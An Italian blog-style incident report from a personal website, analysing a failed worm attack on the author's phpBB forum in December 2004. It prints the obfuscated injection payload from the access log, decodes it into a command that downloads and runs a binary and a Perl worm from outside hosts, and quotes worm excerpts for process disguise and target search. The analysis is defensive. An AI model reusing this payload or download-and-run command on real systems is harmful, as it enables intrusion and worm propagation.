You are in Home page » Personal infos » Attacco cracker 2004/12/26

Soluzione integrata di telefonia su internet a banda larga.
Search on this site:  

Are you interested to be updated about all things happens to me day by day?
Visit my new blog

Gli idioti non dormono neanche a Natale

Tentativo di attacco al mio sito del 2004/12/26- Analisi e soluzioni

Abstract

Questo articolo analizza un tentativo di attacco via phpBB sul forum presente su questo sito. Si analizza la tipologia di attacco utilizzata, una analisi del codice di attacco e le soluzioni adottate.

Riassunto dell'attacco:

Nome del team di hackers: Sconosciuti
Nazionalità: italiana
Tipo di attacco: sql injection su phpBB
Natura dell'attacco: Worm
Durata del down di rete: 00:00 ore
Durata del down della macchina: 00:00 ore
Durata del exploit sulla macchina: 00:00 ore

 

Aquanto pare, gli idioti non dormono neanche a Natale. Probabile che il tipo di attacco sia simile a quello eseguito qualche giorno fa su sito di Wind e qui raccontato da punto informatico, anche se sul mio non ha dato i risultati sperati. Ma veniamo al resoconto dell'attacco.

Stavo infatti per mettermi al lavoro su di un aggiornamento di un mio modulo di WebGUI quando ho deciso di dare un'occhiata al numero di visite che il mio sito aveva ricevuto durante la vigilia e il giorno di natale. Potete immaginare la mia sorpresa quando ho osservato un picco di accessi veramente troppo anomalo per non risultare sospetto, soprattutto considerando che l'enorme numero di accessi era relativo a richieste di pagine del mio forum phpBB. Visti i precedenti attacchi a tale sistema, un brivido freddo ha attraversato la mia schiena. Sono rientrati gli hacker!!!

Un immediato ps xa sulla macchina su cui il mio sito è in hosting ha però in parte mitigato il mio iniziale panico, nessun processo anomalo sembrava in esecuzione sulla macchina.

Sono quindi passato a visualizzare il file di log del mio sito per cercare di capire cosa stavano cercando di fare gli hackerozzi. Tra le varie cose, il file conteneva tutta una serie di righe tipo questa:

***.***.***.*** - -  [26/Dec/2004:12:01:03 +0100] "GET /phpBB2/viewtopic.php?t=27&
highlight=252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(11
6)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%25
2echr(116)%252echr(32)%252echr(109)%252echr(101)%252echr(109)%252echr(98)%252echr(
101)%252echr(114)%252echr(115)%252echr(46)%252echr(97)%252echr(111)%252echr(108)%2
52echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(110)%252echr(
101)%252echr(119)%252echr(111)%252echr(107)%252echr(56)%252echr(52)%252echr(48)%25
2echr(56)%252echr(47)%252echr(121)%252echr(97)%252echr(121)%252echr(59)%252echr(46
)%252echr(47)%252echr(121)%252echr(97)%252echr(121)%252echr(59)%252echr(119)%252ec
hr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(109)%252echr(101)%252echr(10
9)%252echr(98)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(97)%252e
chr(111)%252echr(108)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47
)%252echr(104)%252echr(121)%252echr(100)%252echr(114)%252echr(111)%252echr(48)%252
echr(48)%252echr(48)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(10
9)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252
echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(
114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(116))2527 HT
TP/1.0" 200 27298 "-" "lwp-trivial/1.35"

 

Cerchiamo di capirci qualcosa. Innanzitutto si tratta, a prima vista di una richiesta di visualizzare una notizia del mio forum con id = 75. Tutto la marmaglia di roba che però segue questa richiesta e soprattutto la scritta "system" contenuta nell'url deve immediatamente farci scattare un campanello di allarme.

Cerchiamo di ripulire un pò l'URL sopra con l'aiuto di un piccolo script in PERL come questo

#!/usr/bin/perl
use URI::Escape;
my $url;
print "Press ^D to unescape URL\n";
while (<STDIN>) { $url .= $_};
$url=~s/\n+//g;
print uri_unescape($url);

 

Una volta data in pasto la stringa sopra a questo script il risultato è

***.***.***.*** - - [26/Dec/2004:12:01:03 +0100] "GET /phpBB2/viewtopic.php?t=27&
highlight=2esystem(chr(99)%2echr(100)%2echr(32)%2echr(47)%2echr(116)%2echr(10
9)%2echr(112)%2echr(59)%2echr(119)%2echr(103)%2echr(101)%2echr(116)%2echr(32)%2ec
hr(109)%2echr(101)%2echr(109)%2echr(98)%2echr(101)%2echr(114)%2echr(115)%2echr(46
)%2echr(97)%2echr(111)%2echr(108)%2echr(46)%2echr(99)%2echr(111)%2echr(109)%2echr
(47)%2echr(110)%2echr(101)%2echr(119)%2echr(111)%2echr(107)%2echr(56)%2echr(52)%2
echr(48)%2echr(56)%2echr(47)%2echr(121)%2echr(97)%2echr(121)%2echr(59)%2echr(46)%
2echr(47)%2echr(121)%2echr(97)%2echr(121)%2echr(59)%2echr(119)%2echr(103)%2echr(1
01)%2echr(116)%2echr(32)%2echr(109)%2echr(101)%2echr(109)%2echr(98)%2echr(101)%2e
chr(114)%2echr(115)%2echr(46)%2echr(97)%2echr(111)%2echr(108)%2echr(46)%2echr(99)
%2echr(111)%2echr(109)%2echr(47)%2echr(104)%2echr(121)%2echr(100)%2echr(114)%2ech
r(111)%2echr(48)%2echr(48)%2echr(48)%2echr(47)%2echr(119)%2echr(111)%2echr(114)%2
echr(109)%2echr(46)%2echr(116)%2echr(120)%2echr(116)%2echr(59)%2echr(112)%2echr(1
01)%2echr(114)%2echr(108)%2echr(32)%2echr(119)%2echr(111)%2echr(114)%2echr(109)%2
echr(46)%2echr(116)%2echr(120)%2echr(116))27 HTTP/1.0" 200 27298 "-" "lwp-tri
vial/1.35"

 

Ancora criptico, vediamo di dare di nuovo in pasto questa stringa al nostro script. Ora il risultato è un pò più comprensibile.

***.***.***.*** - - [26/Dec/2004:12:01:03 +0100] "GET /phpBB2/viewtopic.php?t=27&
highlight='.system(chr(99).chr(100).chr(32).chr(47).chr(116).chr(109).chr(112).ch
r(59).chr(119).chr(103).chr(101).chr(116).chr(32).chr(109).chr(101).chr(109).chr(
98).chr(101).chr(114).chr(115).chr(46).chr(97).chr(111).chr(108).chr(46).chr(99).
chr(111).chr(109).chr(47).chr(110).chr(101).chr(119).chr(111).chr(107).chr(56).ch
r(52).chr(48).chr(56).chr(47).chr(121).chr(97).chr(121).chr(59).chr(46).chr(47).c
hr(121).chr(97).chr(121).chr(59).chr(119).chr(103).chr(101).chr(116).chr(32).chr(
109).chr(101).chr(109).chr(98).chr(101).chr(114).chr(115).chr(46).chr(97).chr(111
).chr(108).chr(46).chr(99).chr(111).chr(109).chr(47).chr(104).chr(121).chr(100).c
hr(114).chr(111).chr(48).chr(48).chr(48).chr(47).chr(119).chr(111).chr(114).chr(1
09).chr(46).chr(116).chr(120).chr(116).chr(59).chr(112).chr(101).chr(114).chr(108
).chr(32).chr(119).chr(111).chr(114).chr(109).chr(46).chr(116).chr(120).chr(116))
.' HTTP/1.0" 200 27298 "-" "lwp-trivial/1.35"

 

Proviamo ad eseguire questo elenco di comandi chr da questo semplice scriptino PERL a riga di comando

perl -e "print eval(<STDIN>)"

 

il risultato risulta essere la seguente stringa di comandi che la funzione system del PHP eseguirà da shell con i permessi dell'utente apache:

cd /tmp;wget members.aol.com/newok8408/yay;./yay;wget members.aol.com/hydro000/worm.txt;perl worm.txt

 

Siamo infine giunti a scoprire cosa sta cercando di fare l'hacker. Uno spostamento della directory in una in cui ha i permessi di scrittura l'utente apache (/tmp), un download da un sito remoto di un programma "yay"  e la sua esecuzione, il download da un'altro URL di un file di testo e l'esecuzione di questo come script di PERL.

Per quanto riguarda il primo script, non posso dire cosa faccia in quanto l'URL risulta inesistente. Il secondo script l'ho invce scaricato ed andro brevemente a commentare.

Il programma innanzitutto camuffa se stesso e poi esegue un fork per restare in esecuzione anche al termine della richiesta della URL stessa.

#/usr/bin/perl

use IO::Socket;
use LWP::Simple;
my $processo = "/usr/bin/httpd -DSSL";
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
...

Ovviamente, una volta visto questo, la prima cosa che ho fatto è stato eseguire un

ps xa|grep httpd

 

per vedere se c'erano in esecuzione dei processi

/usr/bin/httpd -DSSL

 

e non ve ne erano, segno che, come supponevo, il tentativo di hacking non andava a buon fine. Queste poche righe di codice evidenziano però, purtroppo, una amara verità: aal nome delle variabili e dal messaggio di errore è segno evidente che gli idioti sono questa volta italiani :-(

Continuando l'analisi del codice che non riporto qui interamente per ovvi motivi, evidenzia bene il perchè del nome dato a questo script. Esso infatti prova una decina di volta, generando un numero random, a richiedere a Google pagine con url "viewtopic.php?t=xx"

$numero = int rand(999);
$site = "www.google.com";
$procura = "inurl:viewtopic.php?t=$numero";
for($n=0;$n<90;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;

print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";

 

e ne analizza la risposta alla ricerca di siti che usano phpBB e quindi lancia un attacco a questi siti facendo cosi diventare la macchina attaccata un attaccante  facendo si che l'attacco si propaghi ad altre macchine. Non contento prova anche ad interrogare Yahoo per ottenere altri siti che usano phpBB.

Quindi, scoperto che questo tentativo di attacco non permetteva di eseguire comandi sul mio server, mi era rimasta solo la scocciatura che questo attacco generava una serie di page-hit "fasulli" sul mio sito, oltre a generare banda.

La soluzione a questo è stata molto semplice. Visto che nel mio sito, le pagine .php, vengono pre-processate dal motore in PERL, per evitare il page-hit fasulli e per evitare futuri exploit al codice php, ho inserito un pezzo di codice nel mio motore di preprocessing php che, se rileva nella query string della pagina PHP chiamata, delle cose non proprio lecite, ritorna un bel codice di errore 404 - Access Forbidden.

Cosa dire, quando non si ha altro da fare che rompere le palle agli altri, meglio sarebbe scegliersi un ponte e buttarsi di sotto.

JavaScript Menu Courtesy of Milonic.com



 Copyrightę 1997-2006 Emiliano Bruni Online from 16/08/1998 with visitors Write me to: